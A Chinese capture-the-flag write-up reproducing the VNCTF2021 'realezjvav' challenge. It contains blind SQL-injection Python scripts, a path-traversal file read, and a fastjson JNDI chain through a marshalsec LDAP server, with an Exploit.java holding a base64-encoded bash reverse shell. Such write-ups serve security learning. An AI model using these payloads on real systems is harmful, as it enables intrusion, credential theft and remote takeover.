VNCTF2021 realezjvav複現(fastjson漏洞利用)

VNCTF2021 realezjvav複現

漏洞點:

sql注入

fastjson漏洞(學到了學到了ORZ)

參考

官方wp

紅隊武器庫:fastjson小于1.2.68全漏洞RCE利用exp

bfengj師傅

複現過程

根據頁面提示(Only the admin can get the right page) 以及源碼，提示是sql注入，确定了使用者名為admin，密碼用test’ 報錯500 用test’ # 正常200，fuzz下以及看師傅們的wp，知道要用笛卡兒積盲注

payload1:

import requests
from time import *

url="http://c56083ac-9da0-437e-9b51-5db047b150aa.jvav.vnctf2021.node4.buuoj.cn:82/user/login"
flag=""
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if j==min:
            flag+=chr(j)
            print(flag)
            break
        payload="-1'or if(ascii(substr(password,{},1))<{},(SELECT count(*) FROM information_schema.tables A,information_schema.tables B,information_schema.tables C),1)#".format(i,j)
        data={
            'username':'admin',
            'password':payload
        }
        try:
            r=requests.post(url=url,data=data,timeout=0.7)
            min=j
        except:
            max=j
        sleep(0.4)

           

payload2:

import requests
url="http://c56083ac-9da0-437e-9b51-5db047b150aa.jvav.vnctf2021.node4.buuoj.cn:82/user/login"
flag=''
for i in range(1,50):
    f1=flag
    top=127
    low=33
    while low<=top:
        mid=(top+low)//2
        # p1="admin'/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='user'),{},1))={},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)#".format(i,mid)
        # p2="admin'/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='user'),{},1))>{},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)#".format(i,mid)
        p1="admin'/**/and/**/if(ascii(substr((select/**/group_concat(password)/**/from/**/user),{},1))={},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)#".format(i,mid)
        p2="admin'/**/and/**/if(ascii(substr((select/**/group_concat(password)/**/from/**/user),{},1))>{},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)#".format(i,mid)
        data1={'username':'admin','password':p1}
        data2={'username':'admin','password':p2}
        try:
            print(i,mid)
            r1=requests.post(url,data=data1,timeout=1)
        except requests.exceptions.ReadTimeout as e:
            flag+=chr(mid)
            print(flag)
            break
        except Exception as e:
            pass
        else:
            try:
                r2=requests.post(url,data=data2,timeout=1)
            except requests.exceptions.ReadTimeout as e:
                low=mid+1
            except Exception as e:
                pass
            else:
                top=mid-1
    if flag==f1:
        break
           

得 no_0ne_kn0w_th1s

登入後有個建立角色功能，以及源碼上有個讀檔案的，嘗試任意檔案讀取 讀pom.xml

/searchimage?img=…/…/…/…/…/pom.xml

網上找payload

Fastjson < 1.2.68

Fastjson爆出的繞過方法可以通殺1.2.68版本以下所有

具體原理在參考第一條上。

複現的時候用rmi協定一直沒成功，參考wp用了ldap協定可以成功執行指令

記錄下詳細步驟

先建立個Exploit.java

public class Exploit {
    public Exploit() {
        try {
            Runtime.getRuntime().exec(
                    "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL2lwLzg3NjUgMD4mMQ==}|{base64,-d}|{bash,-i}");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }
}

           

base64的地方換成自己的vps來反彈shell 我這裡用的是8765 端口進行反彈

javac Exploit.java 生成 Exploit.class 檔案

并在目前目錄下

接着我們要去github上下載下傳個

marshalsec

下載下傳好了建構一下

mvn clean package -DskipTests
           

進入target目錄，開啟ldap服務：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:8888/#Exploit" 9999
           

嫌麻煩的可以嘗試用下這個師傅寫的工具 一鍵搭建

工具

隻需要在伺服器上

最後POST請求的payload

用unicode來繞過

成功反彈